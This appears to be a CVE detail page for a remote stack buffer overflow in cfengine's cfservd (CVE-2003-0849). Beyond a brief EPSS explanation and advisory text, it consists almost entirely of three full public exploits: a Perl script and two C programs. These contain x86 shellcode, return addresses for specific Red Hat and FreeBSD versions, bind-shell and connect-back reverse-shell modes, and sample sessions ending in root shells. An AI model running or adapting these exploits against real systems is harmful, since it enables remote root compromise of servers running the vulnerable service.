CVE-2003-0849 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/perl -s # kokaninATdtors.net / cfengine2-2.0.3 from freebsd ports 26/sep/2003. # forking portbind shellcode port=0xb0ef(45295) by eSDee # bug discovered by nick cleaton, tested on FreeBSD 4.8-RELEASE use IO::Socket; if(!$ARGV[1]) { print "usage: ./DSR-cfengine.pl <host> <port> (default cfengine is 5308)\n"; exit(-1); } $host = $ARGV[0]; $port = $ARGV[1]; $nop = "\x90"; $ret = pack("l",0xbfafe3dc); $shellcode = "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0". "\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02". "\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80". "\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57". "\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89". "\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50". "\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80". "\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56". "\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd". "\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f". "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b". "\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80". "\xeb\x9a"; $buf = $nop x 2222 . $shellcode . $ret x 500; $socket = new IO::Socket::INET ( Proto => "tcp", PeerAddr => $host, PeerPort => $port, ); die "unable to connect to $host:$port ($!)\n" unless $socket; sleep(1); #you might have to adjust this on slow connections print $socket $buf; close($socket); # milw0rm.com [2003-09-27]

// source: https://www.securityfocus.com/bid/8699/info cfengine is prone to a stack-based buffer overrun vulnerability. This issue may be exploited by remote attackers who can send malicious transaction packets to cfservd. This issue is due to insufficient bounds checking of data that is read in during a transaction with a remote user. The vulnerability may be exploited to execute arbitrary code with the privileges of cfservd. A denial of service may also be the result of exploitation attempts as cfservd is multi-threaded and may not be configured to restart itself via a super-server such as inetd. /*********************************************************************************\ * jsk / cfengine2-2.0.3 from redhat * advisory: http://packetstormsecurity.nl/0309-advisories/cfengine.txt * forking portbind shellcode 0port=26112) by netric * bug discovered by nick cleaton, tested on redhat * DSR-cfengine.pl :) i think it has some bugs.maybe it is only public * version...... possbile another reasns..... * the begin buf of exploit could be like "111111". so....DSR... * by jsk from Ph4nt0m Security Team * [email protected] chat with us ( irc.0x557.org #ph4nt0m) * Greets bR-00t. eSdee.B??.lnewy.#cheese and all #ph4nt0m * [root@localhost tmp]# ./cnex -h 127.0.0.1 -p 5803 -t 0 * * cfengine2-2.0.3:server remote buffer overflow exploit * by jsk. * Greets bR-00t and all #ph4nt0m . *[+] Hostname: 127.0.0.1 *[+] Port num: 5308 *[+] Retaddr address: 0x4029cc2c *[1] #1 Set codes. *[1] #1 Set socket. *[*] attempting to connect: 127.0.0.1:5308. *[*] successfully connected: 127.0.0.1:5308. *[1] #1 Send codes. *[1] #3 Get shell. *[*] checking to see if the exploit was successful. *[*] attempting to connect: 127.0.0.1:26112. *[*] successfully connected: 127.0.0.1:26112. * id *uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6 ** (disk),10(wheel) \*********************************************************************************/ #include <stdio.h> #include <signal.h> #include <unistd.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #define BUFSIZE 4136 #define D_PORT 5803 #define D_HOST "www.ph4nt0m.net" #define TIMEOUT 10 char shell[]= /* bindshell(26112)&, netric. */ "\x90\x90\x90\x31\xdb\xf7\xe3\x53\x43\x53" "\x6a\x02\x89\xe1\xb0\x66\x52" "\x50\xcd\x80\x43\x66\x53\x89" "\xe1\x6a\x10\x51\x50\x89\xe1" "\x52\x50\xb0\x66\xcd\x80\x89" "\xe1\xb3\x04\xb0\x66\xcd\x80" "\x43\xb0\x66\xcd\x80\x89\xd9" "\x93\xb0\x3f\xcd\x80\x49\x79" "\xf9\x52\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd" "\x80"; struct op_plat_st { int op_plat_num; char *op_plat_sys; u_long retaddr; int off_st; }; struct op_plat_st __pl_form[]= { {0,"red 8.0",0x4029cc2c,0}, {1,"red 9.0(cmp)",0x4029cda0,0}, {2,"red 7.2 (Compile)",0x44444444,0}, {3,"red 7.3 (Compile)",0x44444444,0}, NULL }; void banrl(); void x_fp_rm_usage(char *x_fp_rm); unsigned short sock_connect(char *,unsigned short); void getshell(char *,unsigned short); void printe(char *,short); void sig_alarm(){printe("alarm/timeout hit.",1);} void banrl() { fprintf(stdout,"\n cfengine2-2.0.3:server remote buffer overflow exploit)\n"); fprintf(stdout," by jsk.\n"); fprintf(stdout," Greets Br-00t and all #ph4nt0m .\n"); } void x_fp_rm_usage(char *x_fp_rm) { int __t_xmp=0; fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm); fprintf(stdout,"\t -h [hostname] - target host.\n"); fprintf(stdout,"\t -p [port] - port number.\n"); fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n"); fprintf(stdout," Example> %s -h target_hostname -p 8000 -t num\n",x_fp_rm); fprintf(stdout," Select target number>\n\n"); for(;;) { if(__pl_form[__t_xmp].op_plat_num==(0x82)) break; else { fprintf(stdout,"\t {%d} %s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys); } __t_xmp++; } fprintf(stdout,"\n"); exit(0); } int main(int argc,char *argv[]) { int port=D_PORT; char hostname[0x333]=D_HOST; int whlp,type=0; unsigned int i=0; char *buf; int sd; u_long retaddr=__pl_form[type].retaddr; (void)banrl(); while((whlp=getopt(argc,argv,"T:t:H:h:P:p:IiXx"))!=EOF) { extern char *optarg; switch(whlp) { case 'T': case 't': if((type=atoi(optarg))<6) { retaddr=__pl_form[type].retaddr; } else (void)x_fp_rm_usage(argv[0]); break; case 'H': case 'h': memset((char *)hostname,0,sizeof(hostname)); strncpy(hostname,optarg,sizeof(hostname)-1); break; case 'P': case 'p': port=atoi(optarg); break; case 'I': case 'i': fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]); exit(-1); case '?': (void)x_fp_rm_usage(argv[0]); break; } } if(!strcmp(hostname,D_HOST)) { (void)x_fp_rm_usage(argv[0]); } { fprintf(stdout," [+] Hostname: %s\n",hostname); fprintf(stdout," [+] Port num: %d\n",port); fprintf(stdout," [+] Retaddr address: %p\n",retaddr); } fprintf(stdout," [1] #1 Set codes.\n"); if(!(buf=(char *)malloc(BUFSIZE+1))) printe("getcode(): allocating memory failed.",1); memset(buf, 0x90, BUFSIZE); buf[0] = '1'; buf[1] = '1'; buf[2] = '1'; buf[3] = '1'; buf[4] = '1'; buf[5] = '1'; buf[6] = '1'; memset(buf+7,0x90,636); memcpy(buf+7+636,shell, sizeof(shell)); memset(buf+7+636+strlen(shell),0x90,3500); memcpy(&buf[BUFSIZE-(sizeof(retaddr))], &retaddr, sizeof(retaddr)); memcpy(&buf[BUFSIZE-(2*sizeof(retaddr))], &retaddr, sizeof(retaddr)); memcpy(&buf[BUFSIZE-(3*sizeof(retaddr))], &retaddr, sizeof(retaddr)); memcpy(&buf[BUFSIZE-(4*sizeof(retaddr))], &retaddr, sizeof(retaddr)); memcpy(&buf[BUFSIZE-(5*sizeof(retaddr))], &retaddr, sizeof(retaddr)); memcpy(&buf[BUFSIZE-(6*sizeof(retaddr))], &retaddr, sizeof(retaddr)); memcpy(&buf[BUFSIZE-(7*sizeof(retaddr))], &retaddr, sizeof(retaddr)); memcpy(&buf[BUFSIZE-(8*sizeof(retaddr))], &retaddr, sizeof(retaddr)); memcpy(&buf[BUFSIZE-(9*sizeof(retaddr))], &retaddr, sizeof(retaddr)); fprintf(stdout," [1] #1 Set socket.\n"); sd=sock_connect(hostname,port); fprintf(stdout," [1] #1 Send codes.\n"); write(sd,buf,BUFSIZE); close(sd); sleep(1); fprintf(stdout," [1] #3 Get shell.\n"); getshell(hostname,26112); exit(0); } unsigned short sock_connect(char *hostname, unsigned short port){ int sock; struct hostent *t; struct sockaddr_in s; sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s.sin_family=AF_INET; s.sin_port=htons(port); printf("[*] attempting to connect: %s:%d.\n",hostname,port); if((s.sin_addr.s_addr=inet_addr(hostname))){ if(!(t=gethostbyname(hostname))) printe("couldn't resolve hostname.",1); memcpy((char*)&s.sin_addr,(char*)t->h_addr, sizeof(s.sin_addr)); } signal(SIGALRM,sig_alarm); alarm(TIMEOUT); if(connect(sock,(struct sockaddr *)&s,sizeof(s))) printe("netris connection failed.",1); alarm(0); printf("[*] successfully connected: %s:%d.\n",hostname,port); return(sock); } void getshell(char *hostname,unsigned short port){ int sock,r; fd_set fds; char buf[4096+1]; struct hostent *he; struct sockaddr_in sa; printf("[*] checking to see if the exploit was successful.\n"); if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) printe("getshell(): socket() failed.",1); sa.sin_family=AF_INET; if((sa.sin_addr.s_addr=inet_addr(hostname))){ if(!(he=gethostbyname(hostname))) printe("getshell(): couldn't resolve.",1); memcpy((char *)&sa.sin_addr,(char *)he->h_addr, sizeof(sa.sin_addr)); } sa.sin_port=htons(port); signal(SIGALRM,sig_alarm); alarm(TIMEOUT); printf("[*] attempting to connect: %s:%d.\n",hostname,port); if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){ printf("[!] connection failed: %s:%d.\n",hostname,port); return; } alarm(0); printf("[*] successfully connected: %s:%d.\n\n",hostname,port); signal(SIGINT,SIG_IGN); write(sock,"uname -a;id\n",13); while(1){ FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sock,&fds); if(select(sock+1,&fds,0,0,0)<1) printe("getshell(): select() failed.",1); if(FD_ISSET(0,&fds)){ if((r=read(0,buf,4096))<1) printe("getshell(): read() failed.",1); if(write(sock,buf,r)!=r) printe("getshell(): write() failed.",1); } if(FD_ISSET(sock,&fds)){ if((r=read(sock,buf,4096))<1) exit(0); write(1,buf,r); } } close(sock); return; } void printe(char *err,short e){ fprintf(stdout," [-] Failed.\n\n"); fprintf(stdout," Happy Exploit ! :-)\n\n"); if(e) exit(1); return; }

// source: https://www.securityfocus.com/bid/8699/info cfengine is prone to a stack-based buffer overrun vulnerability. This issue may be exploited by remote attackers who can send malicious transaction packets to cfservd. This issue is due to insufficient bounds checking of data that is read in during a transaction with a remote user. The vulnerability may be exploited to execute arbitrary code with the privileges of cfservd. A denial of service may also be the result of exploitation attempts as cfservd is multi-threaded and may not be configured to restart itself via a super-server such as inetd. /***************************************************************** * * * Author: snooq [http://www.angelfire.com/linux/snooq/] * * Date: 4 November 2003 * * * * Yet another version.. no big deal.. nothing special.. * * just an extra built-in support for 'connect-back' shell.. * * so that I dun need 'nc -l -p 31337' stuffs... duh !?! * * * * Anyway.. credit should go to Nick Cleaton who disovered * * this nice little 'bug'... ;) * * * * As usual, use it at your very own risk... * * But then again, I really doubt this code will work for you * * nicely out of the box. You still gotta find the rite offset * * for yourself... =p * * * * Greetz: * * # jf, eugene, nam, wenbin... * * # airvirus (?!! I still dunno ur real name yet ?!) * * * *****************************************************************/ /* ===================== cfservd under attack ======================= [root@pinoir tmp]# /usr/local/sbin/cfservd --debug --verbose cfservd Debug mode: running in foreground <snip> ...................... </snip> *** New socket [5] New connection...(from 192.168.1.2/5) Spawning new thread... Checking file updates on /var/cfengine/inputs/cfservd.conf (3fa74f2b/3fa77e9f) RecvSocketStream(8) (Concatenated 8 from stream) Transaction Receive [88888][] RecvSocketStream(8888) (Concatenated 4192 from stream) Transmission empty... Received: ['\x90'......1???QQQ?f????PPfha,fS?SRQ???1?? 1??1?R?f?????0?1??PW?f?????9?@1 ?1????1??? 1???1?h//shh/bin?PS??1??1 ?? on socket -1869574000 Transaction Send[t 20][Packed text] cfservd: Couldn't send cfservd: send cfservd: Closing connection ================================================================== */ /* ===================== sample attack 1 ============================ [snooq@arizona snooq]$ ./a.out -h 192.168.1.1 Cfservd Remote Exploit by snooq [ [email protected] ] Tested to work against cfservd 2.0.7 on Redhat 8.0 -> Using return address of 0x4029eeff -> 'Connecting' mode... -> Exploit string sent. Waiting for a shell... -> Connecting to shell at 192.168.1.1:24876 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys), 4(adm),6(disk),10(wheel) exit -> Connection closed by remote host. [snooq@arizona snooq]$ ================================================================== */ /* ===================== sample attack 2 ============================ [snooq@arizona snooq]$ ./a.out -l -i 192.168.1.2 -h 192.168.1.1 Cfservd Remote Exploit by snooq [ [email protected] ] Tested to work against cfservd 2.0.7 on Redhat 8.0 -> Using return address of 0x4029eeff -> 'Listening' mode...( port: 24876 ) -> Exploit string sent.... -> Waiting for connection.... -> Connection from: 192.168.1.1 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys), 4(adm),6(disk),10(wheel) exit [snooq@arizona snooq]$ ================================================================== */ #include <stdio.h> #include <stdlib.h> #include <error.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <netdb.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #define ALIGN 0 #define HDR_SIZE 5 #define TIME_OUT 10 #define HDR 0x38 // Anything between 1 ~ 9 #define NOP 0x90 #define T_PORT 5308 #define S_PORT 24876 #define RET_SIZE 400 #define BUFF_SIZE 4200 #define RET_ADDR 0x4029eeff #define RET_OFFSET 0 #define IP_OFFSET 33 #define PORT_OFFSET_1 35 // bind port shellcode #define PORT_OFFSET_2 39 // connect back shellcode #define SC_SIZE_1 sizeof(bindport) #define SC_SIZE_2 sizeof(connback) #define CMD "/usr/bin/id\n" /* * Shellcode were shamelessly ripped from netric's code... =p */ char bindport[]= "\x31\xc0\x31\xdb\x31\xc9\x51\xb1" "\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80" "\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\x61\x2c\xb3\x02\x66" "\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66" "\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50" "\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31" "\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57" "\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02" "\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0" "\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31" "\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd" "\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; char connback[]= "\x31\xc0\x31\xdb\x31\xc9\x51\xb1" "\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80" "\x89\xc2\x31\xc0\x31\xc9\x51\x51" "\x68\x41\x42\x43\x44\x66\x68\xb0" "\xef\xb1\x02\x66\x51\x89\xe7\xb3" "\x10\x53\x57\x52\x89\xe1\xb3\x03" "\xb0\x66\xcd\x80\x31\xc9\x39\xc1" "\x74\x06\x31\xc0\xb0\x01\xcd\x80" "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80" "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01" "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" "\xb1\x02\xcd\x80\x31\xc0\x31\xd2" "\x50\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x50\x53\x89" "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0" "\x01\xcd\x80"; /* * Ugly select() stuffs.... * Modified (a little) from TESO's code.. * to support connect back shell.... ;) */ void doshell(int sock) { int l, sent; char buf[512]; fd_set rfds; fd_set wfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); FD_SET (sock, &wfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { fprintf(stdout,"-> Connection closed by local user\n"); exit (EXIT_FAILURE); } sent=0; while (!sent) { select (sock+1, NULL, &wfds, NULL, NULL); if (FD_ISSET(sock, &wfds)) { write(sock, buf, l); sent=1; } } } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l == 0) { fprintf(stdout,"-> Connection closed by remote host.\n"); exit (EXIT_FAILURE); } else if (l < 0) { fprintf(stdout,"-> read() error\n"); exit (EXIT_FAILURE); } write (1, buf, l); } } } void err_exit(char *s) { perror(s); exit(0); } void changeip(char *ip) { char *ptr; ptr=connback+IP_OFFSET; /* Assume Little-Endianess.... */ *((long *)ptr)=inet_addr(ip); } void changeport(char *code, int port, int offset) { char *ptr; ptr=code+offset; /* Assume Little-Endianess.... */ *ptr++=(char)((port>>8)&0xff); *ptr++=(char)(port&0xff); } void sendcmd(int sock) { if (send(sock,CMD,strlen(CMD),0)<0) { err_exit("-> send() error"); } } void usage(char *s) { fprintf(stdout,"\nUsage: %s [-options]\n\n",s); fprintf(stdout,"\t-r\tSize of 'return addresses'\n"); fprintf(stdout,"\t-b\tThe overall size of the buffer\n"); fprintf(stdout,"\t-a\tAlignment size [0~3]\n"); fprintf(stdout,"\t-t\tTarget's port\n"); fprintf(stdout,"\t-s\tPort to bind shell to (in 'connecting' mode), or\n"); fprintf(stdout,"\t\tPort for shell to connect back (in 'listening' mode)\n"); fprintf(stdout,"\t-o\tOffset from the default return address\n"); fprintf(stdout,"\t-h\tTarget's IP\n"); fprintf(stdout,"\t-l\tListening for shell connecting\n"); fprintf(stdout,"\t\tback to port specified by '-s' switch\n"); fprintf(stdout,"\t-i\tIP for shell to connect back\n"); fprintf(stdout,"\t-T\tNumber of seconds to wait for connection\n\n"); fprintf(stdout,"\tNotes:\n\t======\n\t'-h' is mandatory\n"); fprintf(stdout,"\t'-i' is mandatory if '-l' is specified\n\n"); exit(0); } void sigalrm() { fprintf(stdout,"-> Nope.. I ain't waiting any longer.. =p\n"); exit(0); } int main(int argc, char *argv[]) { char opt; char *buf, *ptr, *ip=""; struct sockaddr_in sockadd; int i, s1, s2, i_len, ok=0, mode=0; int time_out=TIME_OUT, scsize=SC_SIZE_1; int s_port=S_PORT, t_port=T_PORT, offset=RET_OFFSET; int retsize=RET_SIZE, align=ALIGN, buffsize=BUFF_SIZE; long ret_addr; if (argc<2) { usage(argv[0]); } while ((opt=getopt(argc,argv,"i:r:b:a:h:t:s:o:T:l"))!=EOF) { switch(opt) { case 'i': ip=optarg; changeip(ip); break; case 'l': mode=1; scsize=SC_SIZE_2; break; case 'T': time_out=atoi(optarg); break; case 'b': buffsize=atoi(optarg); break; case 'a': align=atoi(optarg); break; case 'h': ok=1; sockadd.sin_addr.s_addr = inet_addr(optarg); break; case 'r': retsize=atoi(optarg); break; case 't': t_port=atoi(optarg); break; case 's': s_port=atoi(optarg); break; case 'o': offset=atoi(optarg); break; default: usage(argv[0]); break; } } if (!ok || (mode&&((strcmp(ip,"")==0)) ) ) { usage(argv[0]); } if (!(buf=malloc(buffsize+1))) { err_exit("-> malloc() error"); } ret_addr=RET_ADDR-offset; fprintf(stdout,"\nCfservd Remote Exploit by snooq [ [email protected] ]\n"); fprintf(stdout,"Tested to work against cfservd 2.0.7 on Redhat 8.0\n\n"); fprintf(stdout,"-> Using return address of 0x%08x\n", ret_addr); ptr=buf; for(i=0;i<HDR_SIZE+align;i++) { *ptr++=HDR; } for(i=0;i<(buffsize-HDR_SIZE-align-scsize-retsize);i++) { *ptr++=NOP; } if (mode) { changeport(connback, s_port, PORT_OFFSET_2); for(i=0;i<scsize;i++) { *ptr++=connback[i]; } } else { changeport(bindport, s_port, PORT_OFFSET_1); for(i=0;i<scsize;i++) { *ptr++=bindport[i]; } } for(i=0;i<retsize;i+=4) { *((long *)ptr)=ret_addr; ptr+=4; } *ptr++=0; sockadd.sin_family = AF_INET; sockadd.sin_port = htons(t_port); if ((s1=socket(AF_INET,SOCK_STREAM,0))<0) { err_exit("-> socket error"); } if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) { err_exit("-> connect() error"); } if (mode) { fprintf(stdout,"-> 'Listening' mode...( port: %d )\n",s_port); if (fork()==0) { sleep(2); if (send(s1,buf,buffsize,0)<0) { err_exit("-> send() error"); } fprintf(stdout,"-> Exploit string sent....\n"); exit(0); } else { signal(SIGALRM,sigalrm); alarm(time_out); if ((s2=socket(AF_INET,SOCK_STREAM,0))<0) { err_exit("-> socket error"); } memset(&sockadd,0,sizeof(sockadd)); sockadd.sin_family = AF_INET; sockadd.sin_port = htons(s_port); sockadd.sin_addr.s_addr = htonl(INADDR_ANY); i_len=sizeof(sockadd); if (bind(s2,(struct sockaddr *)&sockadd,i_len)<0) { err_exit("-> bind() error"); } if (listen(s2,0)<0) { err_exit("-> listen() error"); } wait(); close(s1); fprintf(stdout,"-> Waiting for connection....\n"); s1=accept(s2,(struct sockaddr *)&sockadd,&i_len); if (s1<0) { err_exit("-> accept() error"); } alarm(0); fprintf(stdout,"-> Connection from: %s\n",inet_ntoa(sockadd.sin_addr)); sendcmd(s1); doshell(s1); } } else { if (send(s1,buf,buffsize,0)<0) { err_exit("-> send() error"); } close(s1); fprintf(stdout,"-> 'Connecting' mode...\n"); fprintf(stdout,"-> Exploit string sent. Waiting for a shell...\n"); sleep(2); sockadd.sin_family = AF_INET; sockadd.sin_port = htons(s_port); if ((s1=socket(AF_INET,SOCK_STREAM,0))<0) { err_exit("-> socket() error"); } if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) { fprintf(stdout,"-> Exploit failed. Target probably segfaulted...\n\n"); exit(0); } fprintf(stdout,"-> Connecting to shell at %s:%d\n",inet_ntoa(sockadd.sin_addr),s_port); sendcmd(s1); doshell(s1); } return(0); }